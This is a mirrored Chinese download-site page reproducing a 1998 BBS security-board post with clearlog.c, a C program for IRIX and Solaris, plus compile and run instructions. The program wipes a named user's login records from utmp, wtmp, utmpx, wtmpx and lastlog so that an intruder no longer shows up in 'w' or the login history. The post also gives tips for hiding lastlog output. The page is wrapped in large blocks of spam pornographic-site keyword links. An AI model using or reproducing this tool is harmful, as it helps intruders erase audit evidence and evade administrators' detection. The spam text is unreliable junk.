亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? clearlog.c.txt

?? 當(dāng)今
?? TXT
字號:
發(fā)信人: scz (小四★笑看風(fēng)云), 信區(qū): Security 

標(biāo)  題: clearlog.c 

發(fā)信站: 武漢白云黃鶴站 (Mon Dec 28 19:52:30 1998) , 站內(nèi)信件 

  

大家都是高手,我不大跟得上形勢發(fā)展,只是覺得 

還有許多好學(xué)的同志如我一樣急于有點感性認(rèn)識,而 

不是一上來就術(shù)語漫天飛舞,所以把精華區(qū)中的東西 

實地演練一番,因為我知道自己當(dāng)時想編譯運行一個 

程序的心情。原來的程序中將include去掉了,據(jù)說 

是出于什么考慮,不是很理解, 既然寫出來是為了 

交流學(xué)習(xí)互相提高,就不必藏頭露尾半遮半掩,由此 

想及一些話說半截吞吞吐吐,與其這樣賣乖不如不說, 

至少小弟對此現(xiàn)象深惡痛絕,此次偏要補全。程序未 

經(jīng)優(yōu)化,僅僅是閑來修改精華區(qū)中一程序所得,原來 

沒有處理/var/adm/utmpx和/var/adm/wtmpx,并且對 

/var/adm/lastlog的處理不適用于irix6.2。 程序不 

一定適合每種Unix系統(tǒng),但已經(jīng)給出了方向和思路, 

事實上我只是簡單地看了一下utmpx的man,就照貓畫 

老虎補充了一下。 如果你看過了程序,完全應(yīng)該根 

據(jù)自己的目標(biāo)操作系統(tǒng)修改一下。 顯然這個程序只 

處理了那些非正文文件,即無法通過vi編輯的日志文 

件,至于其余日志文件應(yīng)該用vi去處理一下。關(guān)于 

lastlog的問題,若在用戶主目錄下存在一個 

.hushlogin文件,內(nèi)容無所謂,則下次登錄時不會顯 

示lastlog,雖然日志里依舊記錄了。 一般也可以通 

過telnet localhost或rlogin localhost等來抹除, 

只是也太小兒科了些。登錄上去后先快速w一下,可以 

看到自己,等你clearlog后再w就已經(jīng)找不到自己了, 

雖然你還在系統(tǒng)里。大家都是革命好同志,革命自覺 

性都很高,交流學(xué)習(xí)無妨,可千萬不要走水了。古典 

派還是比新生代文明些吧。小弟對攻擊一竅不通,所 

提可笑之處尚請大方之家莫要笑話。 

  

/* 

編譯: 

cc -o clearlog clearlog.c 

運行: 

irix6.2下,./clearlog root 

solaris2.6下,./clearlog root sun 

*/ 

  

#include <sys/types.h> 

#include <stdio.h> 

#include <unistd.h> 

#include <sys/file.h> 

#include <fcntl.h> 

#include <utmp.h> 

#include <utmpx.h> 

#include <pwd.h> 

#include <lastlog.h> 

#include <errno.h> 

#define  WTMP_NAME    "/var/adm/wtmp" 

#define  UTMP_NAME    "/var/adm/utmp" 

#define  LASTLOG_NAME "/var/adm/lastlog" 

#define  UTMPX_FILE   "/var/adm/utmpx" 

#define  WTMPX_FILE   "/var/adm/wtmpx" 

#define  ut_name      ut_user 

#define  ut_xtime     ut_tv.tv_sec 

#ifndef  L_XTND    /* solaris下似乎沒有定義這個宏 */ 

#define  L_XTND 2  /* relative to end of file */ 

#endif 

  

extern int errno; 

int f; 

  

void kill_utmpx (char* who) { 

    struct utmpx utmpx_ent; 

    if ((f = open(UTMPX_FILE, O_RDWR)) >= 0) { 

        while (read(f, &utmpx_ent, sizeof(utmpx_ent)) > 0 ) { 

            if (!strncmp(utmpx_ent.ut_name, who, strlen(who))) { 

                bzero((char*)&utmpx_ent, sizeof(utmpx_ent)); 

                lseek(f, -(sizeof(utmpx_ent)), SEEK_CUR); 

                write(f, &utmpx_ent, sizeof(utmpx_ent)); 

            } 

        } 

        close(f); 

    } 

    if ((f = open(WTMPX_FILE, O_RDWR)) >= 0) { 

        while (read(f, &utmpx_ent, sizeof(utmpx_ent)) > 0 ) { 

            if (!strncmp(utmpx_ent.ut_name, who, strlen(who))) { 

                bzero((char*)&utmpx_ent, sizeof(utmpx_ent)); 

                lseek(f, -(sizeof(utmpx_ent)), SEEK_CUR); 

                write(f, &utmpx_ent, sizeof(utmpx_ent)); 

            } 

        } 

        close(f); 

    } 

  

} 

  

void kill_utmp (char* who) { 

    struct utmp utmp_ent; 

    if ((f = open(UTMP_NAME, O_RDWR)) >= 0) { 

        while (read(f, &utmp_ent, sizeof(utmp_ent)) > 0 ) { 

            if (!strncmp(utmp_ent.ut_name, who, strlen(who))) { 

                bzero((char*)&utmp_ent, sizeof(utmp_ent)); 

                lseek(f, -(sizeof(utmp_ent)), SEEK_CUR); 

                write(f, &utmp_ent, sizeof(utmp_ent)); 

            } 

        } 

        close(f); 

    } 

} 

  

void kill_wtmp (char* who) { 

    struct utmp utmp_ent; 

    long pos; 

  

    pos = 1L; 

    if ((f = open(WTMP_NAME, O_RDWR)) >= 0) { 

        while(pos != -1L) { 

            lseek(f, -(long)((sizeof(struct utmp)) * pos), L_XTND); 

            if (read(f, &utmp_ent, sizeof(struct utmp)) < 0) { 

                pos = -1L; 

            } 

            else { 

                if (!strncmp(utmp_ent.ut_name, who, strlen(who))) { 

                    bzero((char*)&utmp_ent, sizeof(struct utmp )); 

                    lseek(f,-((sizeof(struct utmp)) * pos), L_XTND); 

                    write(f, &utmp_ent, sizeof(utmp_ent)); 

                    pos = -1L; 

                } 

                else { 

                    pos += 1L; 

                } 

            } 

        } 

        close(f); 

    } 

} 

  

void solaris_kill_lastlog (char* who) { 

    struct passwd *pwd; 

    struct lastlog newll; 

  

    if ((pwd = getpwnam(who)) != NULL) { 

        if ((f = open(LASTLOG_NAME, O_RDWR)) >= 0) { 

            lseek(f, (long)pwd->pw_uid * sizeof(struct lastlog), 0); 

            bzero((char*)&newll, sizeof(newll)); 

            write(f, (char*)&newll, sizeof(newll)); 

            close(f); 

        } 

    } 

    else { 

        printf("%s: ?\n", who); 

    } 

} 

  

void kill_lastlog (char* who) { 

    struct passwd *pwd; 

    struct lastlog newll; 

    char   tempString[1024]; 

  

    if ((pwd = getpwnam(who)) != NULL) { 

        sprintf(tempString, "%s/%s", LASTLOG_NAME, who); 

        printf(tempString); 

        printf("\n"); 

        if ((f = open(tempString, O_RDWR)) >= 0) { 

            lseek(f, (long)pwd->pw_uid * sizeof(struct lastlog), 0); 

            bzero((char*)&newll, sizeof(newll)); 

            write(f, (char*)&newll, sizeof(newll)); 

            close(f); 

        } 

    } 

    else { 

        printf("%s: ?\n", who); 

    } 

} 

  

/* 

void kill_lastlog (char* who) { 

    struct passwd *pwd; 

    struct lastlog newll; 

    char   tempString[1024]; 

  

    if ((pwd = getpwnam(who)) != NULL) { 

        sprintf(tempString, "%s/%s", LASTLOG_NAME, who); 

        printf(tempString); 

        printf("\n"); 

        if (remove(tempString) == -1) { 

            if (errno == ENOENT) { 

                printf("無此文件\n"); 

            } 

            else if (errno ==  EACCES) { 

                printf("權(quán)限不對s\n"); 

            } 

        } 

    } 

    else { 

        printf("%s: ?\n", who); 

    } 

} 

*/ 

  

int main (int argc, char* argv[]) { 

    if (argc == 2) { 

        kill_lastlog(argv[1]); 

        kill_wtmp(argv[1]); 

        kill_utmpx(argv[1]); 

        kill_utmp(argv[1]); 

        printf("\nOk!\n"); 

    } 

    else if (argc == 3) { 

        solaris_kill_lastlog(argv[1]); 

        kill_wtmp(argv[1]); 

        kill_utmpx(argv[1]); 

        kill_utmp(argv[1]); 

        printf("\nOk!\n"); 

    } 

    else { 

        printf("\nError!\n"); 

    } 

} 

  

  

-- 

            無論何時何地,流星總會帶著它已寂滅的伙伴踏上 

            歸途,回到從前出發(fā)的故鄉(xiāng) 

                                    -------風(fēng)中的承諾 

  

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
色欧美日韩亚洲| 一本到不卡免费一区二区| 激情深爱一区二区| 亚洲综合在线电影| 亚洲欧洲99久久| 亚洲视频1区2区| 国产精品久久久久天堂| 国产精品福利一区| 精品精品国产高清a毛片牛牛| 91蜜桃免费观看视频| 中文字幕在线一区二区三区| 在线观看av不卡| 欧美视频三区在线播放| 欧美色网站导航| 蜜桃视频第一区免费观看| 青青草国产精品亚洲专区无| 另类综合日韩欧美亚洲| 国产精品一区在线观看乱码| 粉嫩绯色av一区二区在线观看| 99这里都是精品| 欧美在线免费视屏| 欧美一区二区三区在线观看视频| 欧美一区二区三区视频免费 | 欧美日韩综合在线免费观看| 欧美性受xxxx黑人xyx性爽| 欧美精品日日鲁夜夜添| 精品国产自在久精品国产| 国产精品美女久久久久久久久| 中文字幕在线不卡视频| 午夜精品aaa| 国产一区二区三区高清播放| 91网站视频在线观看| 欧美日韩三级在线| 久久免费视频色| 亚洲欧美另类在线| 美女www一区二区| 一区二区三区四区乱视频| 精品污污网站免费看| 欧美一级二级在线观看| 久久久亚洲国产美女国产盗摄| 亚洲视频精选在线| 麻豆中文一区二区| eeuss鲁片一区二区三区| 欧美日本一道本| 精品国产乱码久久久久久浪潮| 日韩美女久久久| 六月婷婷色综合| 日本韩国欧美三级| 日韩女优视频免费观看| 亚洲美女在线国产| 久久99精品视频| 欧美影院精品一区| 久久精品人人做人人综合| 亚洲精品日产精品乱码不卡| 国产一区二区三区免费| 91久久香蕉国产日韩欧美9色| 精品国产免费久久| 一区二区三区加勒比av| 国产麻豆欧美日韩一区| 精品视频在线免费看| 中文字幕成人在线观看| 日本午夜一本久久久综合| 91热门视频在线观看| 26uuu另类欧美| 亚洲成年人网站在线观看| 国产日韩三级在线| 久久成人18免费观看| 一本久道中文字幕精品亚洲嫩| 久久亚洲精华国产精华液 | 蜜桃在线一区二区三区| 成人高清免费观看| 精品av综合导航| 天天色综合成人网| 日本高清不卡一区| 国产精品视频九色porn| 狠狠色狠狠色综合日日91app| 欧美日韩激情一区二区| 中文字幕在线一区| 国产成人午夜视频| 欧美成人精品1314www| 天堂一区二区在线| 色综合色狠狠综合色| 欧美国产成人精品| 国产91丝袜在线18| 久久影音资源网| 欧美aaa在线| 精品视频色一区| 亚洲日本va午夜在线影院| 成人午夜电影久久影院| 久久蜜桃av一区二区天堂| 久久精品二区亚洲w码| 欧美日韩国产欧美日美国产精品| 欧美肥妇bbw| 亚洲在线中文字幕| 日本高清不卡aⅴ免费网站| 国产精品网站导航| 成人天堂资源www在线| 久久久国产午夜精品| 国产精品亚洲一区二区三区妖精 | 欧美精品在线观看一区二区| 亚洲激情图片一区| 欧美性色黄大片| 婷婷亚洲久悠悠色悠在线播放| 欧美日韩国产欧美日美国产精品| 亚洲大型综合色站| 欧美日韩综合一区| 秋霞电影一区二区| 精品国精品自拍自在线| 国产一区二区三区四区五区美女| 久久久亚洲精华液精华液精华液| 国产九色sp调教91| 国产精品拍天天在线| 99热这里都是精品| 亚洲曰韩产成在线| 欧美一区二区三区免费视频| 美女视频黄频大全不卡视频在线播放| 欧美福利视频导航| 强制捆绑调教一区二区| 国产精品 日产精品 欧美精品| 日韩视频在线一区二区| 毛片一区二区三区| 国产亚洲一区二区在线观看| 国产盗摄视频一区二区三区| 国产精品久久久久久久久快鸭 | av欧美精品.com| 亚洲精品国产成人久久av盗摄| 欧美三级乱人伦电影| 免费成人在线影院| 欧美国产成人精品| 欧美中文字幕一二三区视频| 日韩二区在线观看| 亚洲自拍与偷拍| 成人黄色片在线观看| 国产精品国产三级国产aⅴ中文| 色哦色哦哦色天天综合| 日韩一区精品视频| 国产女人18水真多18精品一级做| 97se亚洲国产综合在线| 日本特黄久久久高潮| 国产目拍亚洲精品99久久精品| 色94色欧美sute亚洲线路二| 美女在线视频一区| 亚洲视频免费看| 日韩一区二区麻豆国产| 99视频一区二区| 美女视频黄免费的久久| 成人免费在线播放视频| 日韩一级完整毛片| kk眼镜猥琐国模调教系列一区二区| 亚洲成人免费在线观看| 国产亚洲欧美激情| 欧美日本韩国一区二区三区视频| 国产精品一区二区久激情瑜伽| 夜夜嗨av一区二区三区网页 | 婷婷一区二区三区| 欧美国产综合色视频| 91麻豆精品国产91久久久 | 91天堂素人约啪| 九九九久久久精品| 亚洲一区二区三区在线播放| 亚洲国产精品激情在线观看 | 男人的天堂久久精品| 亚洲色图在线看| 久久久久久久综合日本| 91精品国产综合久久精品麻豆| aaa欧美色吧激情视频| 久久精品国内一区二区三区| 亚洲永久免费视频| 国产精品久久网站| 久久综合给合久久狠狠狠97色69| 欧美日韩亚洲综合在线 欧美亚洲特黄一级 | 亚洲视频免费在线观看| 久久久久久久网| 日韩一区二区三区免费观看| 色婷婷av一区二区三区之一色屋| 国产一二三精品| 奇米四色…亚洲| 亚欧色一区w666天堂| 综合电影一区二区三区 | 亚洲色图一区二区| 国产欧美一区视频| 欧美videos大乳护士334| 欧美日韩亚洲高清一区二区| 91最新地址在线播放| 成人综合婷婷国产精品久久免费| 久久99久久久欧美国产| 日本午夜精品视频在线观看| 午夜视频一区二区三区| 亚洲一区二区中文在线| 亚洲欧美日本韩国| 亚洲欧美中日韩| 国产精品进线69影院| 国产亲近乱来精品视频| 精品国产1区二区| 日韩欧美电影一区| 欧美va亚洲va在线观看蝴蝶网| 欧美一级久久久| 日韩欧美亚洲一区二区| 日韩欧美色电影| 日韩精品一区在线|